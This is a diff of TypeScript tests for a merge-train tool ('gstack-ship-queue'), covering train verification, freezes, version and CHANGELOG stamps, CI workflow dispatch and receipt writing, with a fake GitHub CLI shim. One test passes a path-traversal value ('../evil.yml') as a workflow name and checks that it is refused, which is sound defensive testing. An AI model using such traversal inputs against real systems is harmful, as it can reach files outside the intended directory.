expect(line(v('2').out, 'MERGE_CONDITION:')).toBe(`MERGE_CONDITION: sha=${h2}`);
const s2 = laneStamp(fx, '2', h2, { mergeMain: true });
expect(line(v('2').out, 'MERGE_CONDITION:')).toBe(`MERGE_CONDITION: sha=${s2}`);
// Main's CHANGELOG plus #2's stamped entry, with one line the pin never wrote.
const smuggled = fx.repo.git('show', `${main1}:CHANGELOG.md`).replace('# Changelog\n', '# Changelog\n\n## [1.2.5.0] - 2026-10-18\n\n- #2 change\n- added after the gate\n') + '\n';
const broken = publishMain(fx, t.prefixes[2].commit, '1.2.5.0', { file: 'CHANGELOG.md', text: smuggled });
@@ -111,6 +113,7 @@ describe('verify, freeze, repair and clear', () => {
const rn = nonceOf(queue(fx, ['train', 'build', '--repair', '--prs', `3@${h3}`]).out);
expect(queue(fx, ['train', 'verdict', '--train', rn]).status).toBe(EXIT.ok);
publishMain(fx, trainJson(fx, rn).prefixes[1].commit, '1.2.6.0');
markMerged(fx, '3');
const cleared = queue(fx, ['verify', '--pr', '3', '--train', rn], {}, coord);
expect(cleared.out).toMatch(/^FREEZE: cleared /m);
expect(next(cleared.out)).toBe(`NEXT: gh pr view 2 --json state,headRefOid (unreadable at the freeze: #2@${h2.slice(0, 12)}); seat each that is OPEN in a train`);
@@ -125,6 +128,7 @@ describe('verify, freeze, repair and clear', () => {
const coord = coordinatorClone(fx.repo);
const v = (pr: string) => queue(fx, ['verify', '--pr', pr, '--train', nonce], {}, coord);
publishMain(fx, t.prefixes[1].commit, '1.2.4.0');
markMerged(fx, '1');
expect(v('1').status).toBe(EXIT.ok);
const later = publishMain(fx, t.prefixes[2].commit, '1.2.5.0', { file: 'stray.txt', text: 'a later train\n' });
fx.write(d => { (d.prs['2'] as any).state = 'MERGED'; });
@@ -157,6 +161,7 @@ describe('verify, freeze, repair and clear', () => {
const coord = coordinatorClone(fx.repo);
const v = (pr: string) => queue(fx, ['verify', '--pr', pr, '--train', nonce], {}, coord);
publishMain(fx, t.prefixes[1].commit, '1.2.4.0');
markMerged(fx, '1');
expect(v('1').status).toBe(EXIT.ok);
const later = publishMain(fx, t.prefixes[2].commit, '1.2.5.0', { file: 'stray.txt', text: 'a later train\n' });
const tree = fx.repo.git('rev-parse', `${later}^{tree}`);
@@ -181,6 +186,7 @@ describe('verify, freeze, repair and clear', () => {
const v = (pr: string) => queue(fx, ['verify', '--pr', pr, '--train', nonce], {}, coord);
const released = fx.repo.git('show', `${t.prefixes[1].commit}:CHANGELOG.md`).replace('## [Unreleased]', '## [1.2.4.0] - 2026-10-18') + '\n';
const main1 = publishMain(fx, t.prefixes[1].commit, '1.2.4.0', { file: 'CHANGELOG.md', text: released });
markMerged(fx, '1');
expect(v('1').status).toBe(EXIT.ok);
const foreign = publishMain(fx, t.prefixes[1].commit, '1.2.4.1', { file: 'stray.txt', text: 'landed between the two slots\n' });
const text = fx.repo.git('show', `${main1}:CHANGELOG.md`).replace('# Changelog\n', '# Changelog\n\n## [1.2.5.0] - 2026-10-18\n\n- #2 change\n- added after the gate\n') + '\n';
+7 -36
View File
@@ -10,47 +10,13 @@ import * as path from 'node:path';
import { EXIT } from '../lib/headless-artifacts';
import { cleanup } from './helpers/restamp-fixture';
import {
GREEN_GATE, RED_GATE, TRAIN_POLICY, line, nonceOf, openPr, queue, readyReceipt, shippedBody, trainFixture, trainJson, type TrainFixture,
GREEN_GATE, RED_GATE, TRAIN_POLICY, fragmentPr, line, nonceOf, openPr, queue, readyReceipt, shippedBody, trainFixture, trainJson, wrapLand as wrap, type TrainFixture,
} from './helpers/ship-queue-train-fixture';
const POLICY = { ...TRAIN_POLICY, release_tool: null, release_outputs: [], changelog_fragments: { dir: 'changelog.d' }, min_gstack_version: '1.91.336.0' };
const fixtures: TrainFixture[] = [];
afterEach(() => { while (fixtures.length) cleanup(fixtures.pop()!.repo); });
/** pr view reads the head from origin's branch; pr edit and pr merge act on origin; any commit without recorded CI reads green. */
function wrap(fx: TrainFixture): void {
const dir = path.join(fx.repo.root, 'gh-land-wrap');
fs.mkdirSync(dir, { recursive: true });
const shim = path.join(fx.repo.root, 'gh-train-shim', 'shim.js');
fs.writeFileSync(path.join(dir, 'gh'), [
'#!/usr/bin/env node',
"const fs=require('fs');const cp=require('child_process');const D=process.env.LAND_WRAP_DATA;const a=process.argv.slice(2);",
"const d=JSON.parse(fs.readFileSync(D,'utf8'));const save=()=>fs.writeFileSync(D,JSON.stringify(d));",
"const g=(...x)=>cp.execFileSync('git',['--git-dir',d.origin,...x],{encoding:'utf8',timeout:30000}).trim();",
"const rev=r=>{try{return g('rev-parse','--verify','--quiet',r)}catch{return ''}};",
"if(a[0]==='pr'&&a[1]==='view'&&d.prs[a[2]]){const p=d.prs[a[2]];const h=rev('refs/heads/'+p.headRefName);if(h)p.headRefOid=h;save();console.log(JSON.stringify(p));process.exit(0)}",
"if(a[0]==='pr'&&a[1]==='edit'){(d.labels=d.labels||{})[a[2]]=a[a.indexOf('--add-label')+1];save();process.exit(0)}",
"if(a[0]==='pr'&&a[1]==='merge'){const p=d.prs[a[2]];const want=a[a.indexOf('--match-head-commit')+1];if(rev('refs/heads/'+p.headRefName)!==want){console.error('Head branch was modified');process.exit(1)}",
" const before=rev('main');let tree=rev(want+'^{tree}');",
" if(d.outsideOnMerge){const blob=cp.execFileSync('git',['--git-dir',d.origin,'hash-object','-w','--stdin'],{input:'outside\\n',encoding:'utf8',timeout:30000}).trim();",
" const ls=g('ls-tree',before+'^{tree}')+'\\n100644 blob '+blob+'\\toutside.txt';const ot=cp.execFileSync('git',['--git-dir',d.origin,'mktree'],{input:ls+'\\n',encoding:'utf8',timeout:30000}).trim();",
" g('update-ref','refs/heads/main',g('commit-tree',ot,'-p',before,'-m','outside'));tree=g('merge-tree','--write-tree','--merge-base='+before,rev('main'),want).split('\\n')[0];d.outsideOnMerge=false}",
" g('update-ref','refs/heads/main',g('commit-tree',tree,'-p',rev('main'),'-m','squash #'+a[2]));p.state='MERGED';save();process.exit(0)}",
"const paged=/commits\\/([0-9a-f]+)\\/(check-runs|status)\\?.*page=(\\d+)/.exec(a[1]||'');",
"if(a[0]==='api'&&paged&&!(d.ci||{})[paged[1]]&&!((d.statuses||{})[paged[1]])){const list=paged[2]==='check-runs'?[{name:'free-tests',status:'completed',conclusion:'success',id:1,completed_at:'2026-10-26T00:00:00Z'}]:[];const key=paged[2]==='check-runs'?'check_runs':'statuses';console.log(JSON.stringify(paged[3]==='1'?{total_count:list.length,state:'success',[key]:list}:{total_count:list.length,[key]:[]}));process.exit(0)}",
`const r=cp.spawnSync('node',[${JSON.stringify(shim)},D,...a],{stdio:'inherit',timeout:120000});process.exit(r.status??1);`,
'',
].join('\n'), { mode: 0o755 });
fx.env.PATH = `${dir}:${fx.env.PATH}`;
(fx.env as Record<string, string>).LAND_WRAP_DATA = fx.dataFile;
}
function fragmentPr(fx: TrainFixture, pr: string, fragment = `- #${pr} change\n`): string {
const head = openPr(fx, pr, { file: `changelog.d/pr-${pr}.md`, text: fragment, changelog: false });
fx.repo.git('push', '-q', 'origin', `${head}:refs/heads/pr-${pr}`);
readyReceipt(fx, pr, head);
return head;
}
function stampedTrain(gate = GREEN_GATE, policy: Record<string, unknown> = POLICY) {
const fx = trainFixture(policy, 'gstack-train-land-'); fixtures.push(fx); wrap(fx);
const h1 = fragmentPr(fx, '1');
@@ -190,10 +156,15 @@ describe('stamped trains: build and land', () => {
}, 300_000);
test('a failed stamp push with the branch still at the pin fails retryably instead of reporting a move', () => {
const { fx, nonce } = stampedTrain();
const { fx, h1, nonce } = stampedTrain();
expect(queue(fx, ['train', 'verdict', '--train', nonce]).status).toBe(EXIT.ok);
const hook = path.join(fx.repo.origin, 'hooks', 'pre-receive');
fs.writeFileSync(hook, '#!/bin/sh\nexit 1\n', { mode: 0o755 });
const refused = land(fx, nonce, '1');
expect(refused.err).toMatch(/the land lock push to origin failed and the lock there is unchanged; nothing was pushed.*\(QUEUE_NOT_READY\)/);
expect(refused.err).not.toContain('another lander');
expect(fx.repo.git('--git-dir', fx.repo.origin, 'rev-parse', 'refs/heads/pr-1')).toBe(h1);
fs.writeFileSync(hook, '#!/bin/sh\nwhile read old new ref; do [ "$ref" = refs/heads/pr-1 ] && exit 1; done\nexit 0\n', { mode: 0o755 });
const failed = land(fx, nonce, '1');
expect(failed.err).toMatch(/the stamp push failed and pr-1 still reads.*\(QUEUE_NOT_READY\)/);
expect(failed.err).not.toContain('QUEUE_TRAIN_MOVED');
+27
View File
@@ -449,6 +449,33 @@ describe('ready --dispatch-ci', () => {
expect([fork.status, fork.err]).toEqual([EXIT.refused, expect.stringMatching(/#1's head is on a fork.*not dispatched.*\(QUEUE_TRAIN_UNTRUSTED\)/)]);
expect(queue(fx, ['ready', '--pr', '1', '--pregate', pregate, '--no-screen', '--dispatch-ci', '../evil.yml']).status).toBe(EXIT.usage);
}, 120_000);
// Value: protects=a conflicting PR cut before main gained windows-smoke.yml still gets its free-tests dispatch when the hint names both workflows (GitHub reads the workflow file from the branch, so dispatching the missing one could only fail);
// fails_when=the missing workflow is dispatched, a missing workflow refuses the whole command, or a workflow the branch has is skipped; why_new=windows-smoke.yml replaced windows-free-tests.yml in the hint while open branches predate it; seam=git objects in the fixture checkout; no_claim=GitHub's exact error for a workflow missing at the ref
test('skips a workflow the base has but the PR head predates, with a note, and dispatches the rest', () => {
const { fx, head, pregate } = readyFixture();
const { repo } = fx;
repo.git('checkout', '-q', 'origin/main');
fs.mkdirSync(path.join(repo.work, '.github', 'workflows'), { recursive: true });
fs.writeFileSync(path.join(repo.work, '.github', 'workflows', 'windows-smoke.yml'), 'name: Windows Smoke\n');
repo.git('add', '-A');
repo.git('commit', '-q', '-m', 'add windows-smoke.yml');
repo.git('push', '-q', 'origin', 'HEAD:main');
repo.git('fetch', '-q', 'origin', 'main');
repo.git('checkout', '-q', 'pr-1');
fx.write(d => {
(d.prs['1'] as any).mergeable = 'CONFLICTING';
d.ci[head] = [];
d.rules['free-tests.yml'] = { ci: 'free-tests', headSha: head };
d.rules['windows-smoke.yml'] = { ci: 'windows-smoke', headSha: head };
});
const r = queue(fx, ['ready', '--pr', '1', '--pregate', pregate, '--no-screen', '--dispatch-ci', 'free-tests.yml,windows-smoke.yml', '--timeout', '5']);
expect(r.out.split('\n').filter(l => l.startsWith('CI_DISPATCH:'))).toEqual([
'CI_DISPATCH: free-tests.yml --ref pr-1 run 100 https://example.invalid/runs/100 success',
`CI_DISPATCH: windows-smoke.yml not dispatched (.github/workflows/windows-smoke.yml is on main but not in ${head.slice(0, 12)}; the branch predates it, so its pull_request run comes with the stamp commit)`]);
expect(dispatches(fx).map(l => l.workflow)).toEqual(['free-tests.yml']);
expect(line(r.out, 'ci:')).toBe(`ci: green at ${head.slice(0, 12)} (passed=1 failed=0 pending=0 skipped=0)`);
}, 120_000);
});
describe('train build --dry-run --stack-tests', () => {
+155 -13
View File
@@ -6,7 +6,7 @@ import { mergeChangelogs, parseChangelog } from '../lib/changelog-check';
import { EXIT } from '../lib/headless-artifacts';
import { cleanup } from './helpers/restamp-fixture';
import { coordinatorClone } from './helpers/ship-queue-fixture';
import { publishMain, twoPrTrain } from './helpers/ship-queue-train-cases';
import { laneStamp, markMerged, publishMain, twoPrTrain } from './helpers/ship-queue-train-cases';
import {
GREEN_GATE, TRAIN_POLICY, dispatches, line, nonceOf, openPr, queue, readyReceipt, repoKey, setPrBody, shippedBody, trainFixture, trainJson,
type TrainFixture,
@@ -27,21 +27,24 @@ describe('verify, freeze, repair and clear', () => {
const coord = coordinatorClone(fx.repo);
const v = (pr: string, train = nonce) => queue(fx, ['verify', '--pr', pr, '--train', train], {}, coord);
const s1 = laneStamp(fx, '1', h1);
const pre1 = v('1');
expect(pre1.status).toBe(EXIT.ok);
expect(pre1.out).toContain(`VERIFY_TRAIN: #1 may merge as slot 1 of train ${nonce}`);
expect(line(pre1.out, 'MERGE_CONDITION:')).toBe(`MERGE_CONDITION: sha=${h1}`);
expect(line(pre1.out, 'MERGE_CONDITION:')).toBe(`MERGE_CONDITION: sha=${s1}`);
const early = v('2');
expect(early.status).toBe(EXIT.fail);
expect(early.err).toMatch(/is neither T1 nor T2 modulo stamps.*nothing of train \S+ merged, so the queue is not frozen.*\(QUEUE_TRAIN_TREE_MISMATCH\)/);
publishMain(fx, t.prefixes[1].commit, '1.2.4.0');
publishMain(fx, t.prefixes[1].commit, '1.2.4.0', { file: 'CHANGELOG.md', text: fx.repo.git('show', `${s1}:CHANGELOG.md`) + '\n' });
markMerged(fx, '1');
const post1 = v('1');
expect(post1.status).toBe(EXIT.ok);
expect(post1.out).toMatch(/^main: [0-9a-f]{40} = T1 \(same modulo stamps \(1 stamp file\(s\)\)\)$/m);
expect(post1.out).toMatch(/^main: [0-9a-f]{40} = T1 \(same modulo stamps \(2 stamp file\(s\)\)\)$/m);
expect(post1.out).toContain(`VERIFY_TRAIN: #1 merged; main's tree is T1 of train ${nonce} (1/2 merged)`);
expect(next(post1.out)).toBe(`NEXT: gstack-ship-queue verify --pr 2 --train ${nonce}`);
expect(line(v('2').out, 'MERGE_CONDITION:')).toBe(`MERGE_CONDITION: sha=${h2}`);
const s2 = laneStamp(fx, '2', h2, { mergeMain: true });
expect(line(v('2').out, 'MERGE_CONDITION:')).toBe(`MERGE_CONDITION: sha=${s2}`);
const broken = publishMain(fx, t.prefixes[2].commit, '1.2.5.0', { file: 'stray.txt', text: 'not in the train\n' });
const mismatch = v('2');
@@ -69,8 +72,16 @@ describe('verify, freeze, repair and clear', () => {
expect(queue(fx, ['train', 'verdict', '--train', rn]).status).toBe(EXIT.ok);
expect(v('2').err).toContain('(QUEUE_TRAIN_FROZEN)');
expect(dispatches(fx, 'evals.yml').filter(d => d.ref === 'main').length).toBe(1);
expect(line(v('3', rn).out, 'MERGE_CONDITION:')).toBe(`MERGE_CONDITION: sha=${h3}`);
// The broken main still carries T2's [Unreleased] section, so #3's lane stamps its own entry by hand.
fx.repo.git('checkout', '-q', '-B', 'lane3', h3);
fs.writeFileSync(path.join(fx.repo.work, 'VERSION'), '1.2.6.0\n');
fs.writeFileSync(path.join(fx.repo.work, 'CHANGELOG.md'), fx.repo.git('show', `${h3}:CHANGELOG.md`).replace('## [Unreleased]', '## [1.2.6.0] - 2026-10-18') + '\n');
fx.repo.git('commit', '-qam', 'slot stamp #3');
const s3 = fx.repo.git('rev-parse', 'HEAD');
fx.repo.git('push', '-q', '-f', 'origin', `${s3}:refs/pull/3/head`);
expect(line(v('3', rn).out, 'MERGE_CONDITION:')).toBe(`MERGE_CONDITION: sha=${s3}`);
publishMain(fx, trainJson(fx, rn).prefixes[1].commit, '1.2.6.0');
markMerged(fx, '3');
const cleared = v('3', rn);
expect(cleared.status).toBe(EXIT.ok);
expect(cleared.out).toMatch(/^FREEZE: cleared \(repair #3 via train \S+; main [0-9a-f]{12} carries a green record\)$/m);
@@ -85,14 +96,10 @@ describe('verify, freeze, repair and clear', () => {
const coord = coordinatorClone(fx.repo);
const v = () => queue(fx, ['verify', '--pr', '1', '--train', nonce], {}, coord);
const { repo } = fx;
repo.git('checkout', '-q', '-B', 'lane1', h1);
fs.writeFileSync(path.join(repo.work, 'VERSION'), '1.2.4.0\n');
repo.git('commit', '-qam', 'v1.2.4.0 stamp');
const stamped = repo.git('rev-parse', 'HEAD');
repo.git('push', '-q', '-f', 'origin', `${stamped}:refs/pull/1/head`);
const stamped = laneStamp(fx, '1', h1);
const ok = v();
expect(ok.status).toBe(EXIT.ok);
expect(ok.out).toContain(`head: ${stamped} (same modulo stamps (1 stamp file(s)))`);
expect(ok.out).toContain(`head: ${stamped} (same modulo stamps (5 stamp file(s)))`);
expect(ok.out).toContain(`SHIP_RECEIPT: pr=1 head=${h1.slice(0, 12)} version=- base=main (binds the pinned head)`);
expect(line(ok.out, 'MERGE_CONDITION:')).toBe(`MERGE_CONDITION: sha=${stamped}`);
setPrBody(fx, '1', shippedBody('1', 'b'.repeat(40)));
@@ -133,6 +140,7 @@ describe('verify, freeze, repair and clear', () => {
const coord = coordinatorClone(fx.repo);
const v = (pr: string) => queue(fx, ['verify', '--pr', pr, '--train', nonce], {}, coord);
const main1 = publishMain(fx, t.prefixes[1].commit, '1.2.4.0');
markMerged(fx, '1');
expect(v('1').status).toBe(EXIT.ok);
const { repo } = fx;
@@ -142,6 +150,7 @@ describe('verify, freeze, repair and clear', () => {
repo.git('rm', '-rq', '.');
repo.git('checkout', t.prefixes[2].commit, '--', '.');
fs.writeFileSync(path.join(repo.work, 'VERSION'), '1.2.5.0\n');
fs.writeFileSync(path.join(repo.work, 'CHANGELOG.md'), repo.git('show', `${t.prefixes[2].commit}:CHANGELOG.md`).replace('## [Unreleased]', '## [1.2.5.0] - 2026-10-18') + '\n');
if (extra) fs.writeFileSync(path.join(repo.work, extra.file), extra.text);
repo.git('add', '-A');
const tree = repo.git('write-tree');
@@ -224,8 +233,10 @@ describe('verify, freeze, repair and clear', () => {
const v = (pr: string) => queue(fx, ['verify', '--pr', pr, '--train', nonce], {}, coord);
// Slot 1: #1 squash-merges and is released as 1.2.4.0 (its [Unreleased] re-headed).
expect(line(v('1').out, 'MERGE_CONDITION:')).toBe(`MERGE_CONDITION: sha=${h1}`);
const s1 = laneStamp(fx, '1', h1);
expect(line(v('1').out, 'MERGE_CONDITION:')).toBe(`MERGE_CONDITION: sha=${s1}`);
const main1 = publishMain(fx, t.prefixes[1].commit, '1.2.4.0', { file: 'CHANGELOG.md', text: repo.git('show', `${t.prefixes[1].commit}:CHANGELOG.md`).replace('## [Unreleased]', '## [1.2.4.0] - 2026-10-18') + '\n' });
markMerged(fx, '1');
expect(v('1').out).toContain(`VERIFY_TRAIN: #1 merged; main's tree is T1 of train ${nonce} (1/2 merged)`);
// Slot 2: the lane merges main into its pin; mergeChangelogs carries the child past its released parent.
@@ -249,6 +260,7 @@ describe('verify, freeze, repair and clear', () => {
// The squash merge publishes exactly that tree; the post-merge verify confirms it instead of freezing the queue.
const main2 = publishMain(fx, laneHead, '1.2.5.0');
expect(repo.git('rev-parse', `${main2}^{tree}`)).toBe(repo.git('rev-parse', `${laneHead}^{tree}`));
markMerged(fx, '2');
const post = v('2');
expect([post.status, post.err]).toEqual([EXIT.ok, '']);
expect(line(post.out, 'main:')).toBe(`main: ${main2} = T2 (same modulo stamps (1 stamp file(s)) except CHANGELOG.md, main ${main1.slice(0, 12)}'s CHANGELOG.md plus #2's own entry)`);
@@ -256,3 +268,133 @@ describe('verify, freeze, repair and clear', () => {
expect(queue(fx, ['train', 'status']).out).not.toContain('QUEUE_TRAIN_FROZEN');
}, 300_000);
});
describe('verify --train proves the slot stamp and a GitHub merge (#3531)', () => {
/** A main commit that carries an unstamped [Unreleased] entry, the way a bare commit after a no-commit merge shipped #3527. */
function unstampedMain(fx: TrainFixture, entry: string): string {
const { repo } = fx;
repo.git('fetch', '-q', 'origin');
repo.git('checkout', '-q', '-B', 'mainsim', 'origin/main');
fs.writeFileSync(path.join(repo.work, 'CHANGELOG.md'), fs.readFileSync(path.join(repo.work, 'CHANGELOG.md'), 'utf8').replace('# Changelog\n', `# Changelog\n\n## [Unreleased]\n\n${entry}\n`));
repo.git('commit', '-qam', 'merged without its stamp');
repo.git('push', '-q', 'origin', 'HEAD:refs/heads/main');
repo.git('fetch', '-q', 'origin');
return repo.git('rev-parse', 'HEAD');
}
const freezeFile = (fx: TrainFixture) => path.join(fx.state, 'ship-queue', 'freeze', `${repoKey(fx)}.json`);
test('#3527: an unstamped slot head (the bare pin, or a no-commit base merge committed without the restamp it wrote) refuses QUEUE_TRAIN_UNSTAMPED naming both versions; the stamped head passes with STAMP_VERSION from the head', () => {
const fx = make();
const { h1, h2, nonce } = twoPrTrain(fx);
expect(queue(fx, ['train', 'verdict', '--train', nonce]).status).toBe(EXIT.ok);
const t = trainJson(fx, nonce);
const coord = coordinatorClone(fx.repo);
const v = (pr: string) => queue(fx, ['verify', '--pr', pr, '--train', nonce], {}, coord);
const bare = v('1');
expect(bare.status).toBe(EXIT.refused);
expect(bare.err).toMatch(/#1's head [0-9a-f]{12} is not stamped above main: version: the head's VERSION 1\.2\.3\.0 is not above main's 1\.2\.3\.0.*\(QUEUE_TRAIN_UNSTAMPED\)/);
expect(bare.out).not.toContain('MERGE_CONDITION:');
expect(next(bare.out)).toMatch(/^NEXT: #1's lane runs gstack-restamp --next on its head, commits what restamp staged/);
const s1 = laneStamp(fx, '1', h1);
const ok = v('1');
expect(ok.status, ok.err).toBe(EXIT.ok);
expect(ok.out).toContain('STAMP_VERSION: 1.2.4.0');
expect(line(ok.out, 'MERGE_CONDITION:')).toBe(`MERGE_CONDITION: sha=${s1}`);
const unread = queue(fx, ['verify', '--pr', '1', '--train', nonce, '--no-fetch'], {}, coord);
expect(unread.status).toBe(EXIT.refused);
expect(unread.err).toMatch(/#1's current head was not read \(--no-fetch\).*\(QUEUE_PROOF_MISSING\)/);
expect(unread.out).not.toContain('MERGE_CONDITION:');
publishMain(fx, t.prefixes[1].commit, '1.2.4.0', { file: 'CHANGELOG.md', text: fx.repo.git('show', `${s1}:CHANGELOG.md`) + '\n' });
markMerged(fx, '1');
expect(v('1').out).toContain(`VERIFY_TRAIN: #1 merged; main's tree is T1 of train ${nonce} (1/2 merged)`);
laneStamp(fx, '2', h2, { mergeMain: true, dropStamp: true });
const dropped = v('2');
expect(dropped.status, dropped.err).toBe(EXIT.refused);
expect(dropped.err).toMatch(/#2's head [0-9a-f]{12} is not stamped above main: version: the head's VERSION 1\.2\.4\.0 is not above main's 1\.2\.4\.0.*\(QUEUE_TRAIN_UNSTAMPED\)/);
expect(dropped.out).not.toContain('MERGE_CONDITION:');
expect(fs.existsSync(freezeFile(fx))).toBe(false);
const s2 = laneStamp(fx, '2', h2, { mergeMain: true });
const stamped = v('2');
expect(stamped.status, stamped.err).toBe(EXIT.ok);
expect(stamped.out).toContain('STAMP_VERSION: 1.2.5.0');
expect(line(stamped.out, 'MERGE_CONDITION:')).toBe(`MERGE_CONDITION: sha=${s2}`);
}, 300_000);
test('the CHANGELOG rule is named: a head whose VERSION moved but whose entry is still [Unreleased] refuses', () => {
const fx = make();
const { h1, nonce } = twoPrTrain(fx);
expect(queue(fx, ['train', 'verdict', '--train', nonce]).status).toBe(EXIT.ok);
const { repo } = fx;
repo.git('checkout', '-q', '-B', 'lane1', h1);
fs.writeFileSync(path.join(repo.work, 'VERSION'), '1.2.4.0\n');
repo.git('commit', '-qam', 'VERSION only');
repo.git('push', '-q', '-f', 'origin', `${repo.git('rev-parse', 'HEAD')}:refs/pull/1/head`);
const r = queue(fx, ['verify', '--pr', '1', '--train', nonce], {}, coordinatorClone(fx.repo));
expect(r.status).toBe(EXIT.refused);
expect(r.err).toMatch(/is not stamped above main: changelog: CHANGELOG\.md's top section at the head is \[Unreleased\], not \[1\.2\.4\.0\].*\(QUEUE_TRAIN_UNSTAMPED\)/);
}, 300_000);
test('claim-at-open: a pin that carries its own stamp verifies at head == pin', () => {
const fx = make({ ...TRAIN_POLICY, queue_mode: 'claim-at-open' });
const h1 = openPr(fx, '1', { file: 'VERSION', text: '1.2.4.0\n', changelog: cl => cl.replace('# Changelog\n', '# Changelog\n\n## [1.2.4.0] - 2026-10-18\n\n- #1 change\n') });
readyReceipt(fx, '1', h1);
fx.write(d => { d.rules['evals.yml'] = GREEN_GATE; });
const nonce = nonceOf(queue(fx, ['train', 'build', '--prs', `1@${h1}`, '--urgent']).out);
expect(queue(fx, ['train', 'verdict', '--train', nonce]).status).toBe(EXIT.ok);
const r = queue(fx, ['verify', '--pr', '1', '--train', nonce], {}, coordinatorClone(fx.repo));
expect(r.status, r.err).toBe(EXIT.ok);
expect(r.out).toContain('STAMP_VERSION: 1.2.4.0');
expect(line(r.out, 'MERGE_CONDITION:')).toBe(`MERGE_CONDITION: sha=${h1}`);
}, 300_000);
test('#3530: an open release-only PR whose stamp-only diff makes main equal its prefix modulo stamps is not reported merged; it takes the pre-merge path', () => {
const fx = make();
unstampedMain(fx, '- #3527 change');
const h5 = openPr(fx, '5', { file: 'VERSION', text: '1.2.4.0\n', changelog: cl => cl.replace('## [Unreleased]', '## [1.2.4.0] - 2026-10-18') });
readyReceipt(fx, '5', h5);
fx.write(d => { d.rules['evals.yml'] = GREEN_GATE; });
const nonce = nonceOf(queue(fx, ['train', 'build', '--prs', `5@${h5}`, '--urgent']).out);
expect(queue(fx, ['train', 'verdict', '--train', nonce]).status).toBe(EXIT.ok);
const r = queue(fx, ['verify', '--pr', '5', '--train', nonce], {}, coordinatorClone(fx.repo));
expect(r.out).not.toMatch(/^VERIFY_TRAIN: #5 merged/m);
expect(r.status, r.err).toBe(EXIT.ok);
expect(r.out).toContain(`VERIFY_TRAIN: #5 may merge as slot 1 of train ${nonce}`);
expect(line(r.out, 'MERGE_CONDITION:')).toBe(`MERGE_CONDITION: sha=${h5}`);
expect(trainJson(fx, nonce).merged).toEqual([]);
}, 300_000);
test('no false freeze: main at the next prefix while GitHub reports the PR OPEN, or cannot be read, refuses QUEUE_PROOF_MISSING and never freezes; MERGED confirms', () => {
const fx = make();
const { h1, nonce } = twoPrTrain(fx);
expect(queue(fx, ['train', 'verdict', '--train', nonce]).status).toBe(EXIT.ok);
const t = trainJson(fx, nonce);
const coord = coordinatorClone(fx.repo);
const v = (pr: string) => queue(fx, ['verify', '--pr', pr, '--train', nonce], {}, coord);
laneStamp(fx, '1', h1);
expect(v('1').status).toBe(EXIT.ok);
publishMain(fx, t.prefixes[1].commit, '1.2.4.0');
markMerged(fx, '1');
expect(v('1').status).toBe(EXIT.ok);
publishMain(fx, t.prefixes[2].commit, '1.2.5.0');
const open = v('2');
expect(open.status).toBe(EXIT.refused);
expect(open.err).toMatch(/GitHub reports #2 as OPEN, not MERGED.*\(QUEUE_PROOF_MISSING\)/);
expect(open.out).not.toMatch(/^VERIFY_TRAIN: #2 merged/m);
expect(open.out).not.toMatch(/^QUEUE_TRAIN_FROZEN:/m);
expect(next(open.out)).toContain('rerun once GitHub reports #2 MERGED');
const saved = fx.read().prs['2'];
fx.write(d => { delete d.prs['2']; });
const unread = v('2');
expect(unread.err).toContain('(QUEUE_PROOF_MISSING)');
expect(unread.out).not.toMatch(/^QUEUE_TRAIN_FROZEN:/m);
expect(fs.existsSync(freezeFile(fx))).toBe(false);
fx.write(d => { d.prs['2'] = { ...(saved as object), state: 'MERGED' }; });
const done = v('2');
expect(done.status, done.err).toBe(EXIT.ok);
expect(done.out).toContain(`VERIFY_TRAIN: #2 merged; main's tree is T2 of train ${nonce} (2/2 merged)`);
}, 300_000);
});
+56
View File
@@ -0,0 +1,56 @@
/**
* #3541 (the /ship half): `gstack-ship-receipt write` with no --session-kind
* and no GSTACK_SESSION_KIND asks bin/gstack-session-kind, a bash script.
* Spawned by path it never starts on Windows (no shebangs), so every receipt
* written there carried no session_kind.
*
* Windows-safe by construction: both bins launch through
* lib/script-invocation.ts (Git Bash on win32), state lives under os.tmpdir().
*/
import { afterEach, beforeEach, expect, test } from 'bun:test';
import * as fs from 'node:fs';
import * as os from 'node:os';
import * as path from 'node:path';
import { spawnSync } from 'node:child_process';
import { runScriptSync } from '../lib/script-invocation';
const ROOT = path.resolve(import.meta.dir, '..');
let tmp = '', repo = '', env: NodeJS.ProcessEnv = {};
beforeEach(() => {
tmp = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'gstack-receipt-kind-')));
repo = path.join(tmp, 'repo');
fs.mkdirSync(repo);
const gitconfig = path.join(tmp, 'gitconfig');
fs.writeFileSync(gitconfig, '');
env = {
...process.env, HOME: tmp, USERPROFILE: tmp, GSTACK_STATE_ROOT: path.join(tmp, 'state'), GSTACK_HOME: path.join(tmp, 'state'), GSTACK_SESSION_KIND: '',
GIT_CONFIG_GLOBAL: gitconfig, GIT_CONFIG_NOSYSTEM: '1', GIT_DIR: undefined, GIT_WORK_TREE: undefined, GIT_INDEX_FILE: undefined,
};
const git = (...args: string[]) => {
const r = spawnSync('git', args, { cwd: repo, env, encoding: 'utf8', timeout: 30_000 });
expect(r.status, r.stderr).toBe(0);
};
git('init', '-q', '-b', 'main');
fs.writeFileSync(path.join(repo, 'a.txt'), 'a\n');
git('add', 'a.txt');
git('-c', 'user.email=fixture@example.test', '-c', 'user.name=Fixture', '-c', 'commit.gpgsign=false', 'commit', '-qm', 'fixture');
git('update-ref', 'refs/remotes/origin/main', 'HEAD');
git('switch', '-q', '-c', 'feat');
});
afterEach(() => fs.rmSync(tmp, { recursive: true, force: true }));
test('write without a session kind records what gstack-session-kind prints (#3541)', () => {
const kind = runScriptSync(path.join(ROOT, 'bin', 'gstack-session-kind'), [], { cwd: repo, env, encoding: 'utf8', timeout: 30_000 });
expect(kind.status, kind.stderr).toBe(0);
const body = path.join(tmp, 'body.md');
fs.writeFileSync(body, '## Summary\n');
const w = runScriptSync(path.join(ROOT, 'bin', 'gstack-ship-receipt'), ['write', '--pr', '1', '--base', 'main', '--body', body, '--json'], {
cwd: repo, env, encoding: 'utf8', timeout: 120_000,
});
expect(w.error).toBeUndefined();
expect(w.status, w.stderr).toBe(0);
expect(JSON.parse(w.stdout).session_kind).toBe(kind.stdout.trim());
}, 150_000);
+47
View File
@@ -202,6 +202,53 @@ describe('a version stamp after review (GBRA-251, gbrain #8095)', () => {
});
});
describe('a restamp after a lost slot (GST-895, GBRA-218, gbrain #8134)', () => {
// Value: protects=after a lost slot and a merge of the base, the restamp moves the branch's own stale stamp (older
// than the reviewed tree's VERSION, newer than its fork point) and finish routes that line as a stamp; a row the
// base carries (another PR's release at the same version), a merged base row the base later edited, or a branch row
// at or older than the fork point, moved the same way still stops;
